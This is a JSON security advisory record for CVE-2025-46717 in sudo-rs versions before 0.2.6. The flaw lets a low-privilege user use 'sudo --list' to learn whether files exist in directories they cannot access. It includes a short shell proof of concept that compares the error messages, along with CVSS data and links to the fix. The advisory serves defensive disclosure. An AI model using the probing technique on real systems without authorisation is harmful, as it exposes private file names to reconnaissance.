{"id":"GHSA-98cv-wqjx-wx8f","summary":"sudo-rs Allows Low Privilege Users to Discover the Existence of Files in Inaccessible Folders","details":"### Summary\n\nUsers with no (or very limited) sudo privileges can determine whether files exists in folders that they otherwise cannot access using `sudo --list \u003cpathname\u003e`.\n\n### PoC\n\nAs root:\n```\n# mkdir /tmp/foo\n# chmod a-rwx /tmp/foo\n# touch /tmp/foo/secret_file\n```\nAs a user without any (or limited) sudo rights:\n```\n$ sudo --list /tmp/foo/nonexistent_file\nsudo-rs: '/tmp/foo/nonexistent_file': command not found\n$ $ sudo --list /tmp/foo/secret_file\nsudo-rs: Sorry, user eve may not run sudo on host.\n```\nI.e. the user can distinguish whether files exist.\n\n### Related\nOriginal sudo (vulnerable version tested by us: 1.9.15p5) exhibited similar behaviour for files with the executable bit set.\n\n### Impact\nUsers with local access to a machine can discover the existence/non-existence of certain files, revealing potentially sensitive information in the file names. This information can also be used in conjunction with other attacks.\n\n### Credits\nThis issue was identified by sudo-rs developer Marc Schoolderman","aliases":["CVE-2025-46717"],"modified":"2026-09-10T03:50:24.416906979Z","published":"2025-05-13T14:08:18Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2025-05-13T14:08:18Z","nvd_published_at":"2025-05-12T15:16:01Z","cwe_ids":["CWE-497"],"severity":"LOW"},"references":[{"type":"WEB","url":"https://github.com/trifectatechfoundation/sudo-rs/security/advisories/GHSA-98cv-wqjx-wx8f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46717"},{"type":"PACKAGE","url":"https://github.com/trifectatechfoundation/sudo-rs"},{"type":"WEB","url":"https://github.com/trifectatechfoundation/sudo-rs/releases/tag/v0.2.6"}],"affected":[{"package":{"name":"sudo-rs","ecosystem":"crates.io","purl":"pkg:cargo/sudo-rs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.2.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-98cv-wqjx-wx8f/GHSA-98cv-wqjx-wx8f.json","last_known_affected_version_range":"\u003c= 0.2.5"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"}]}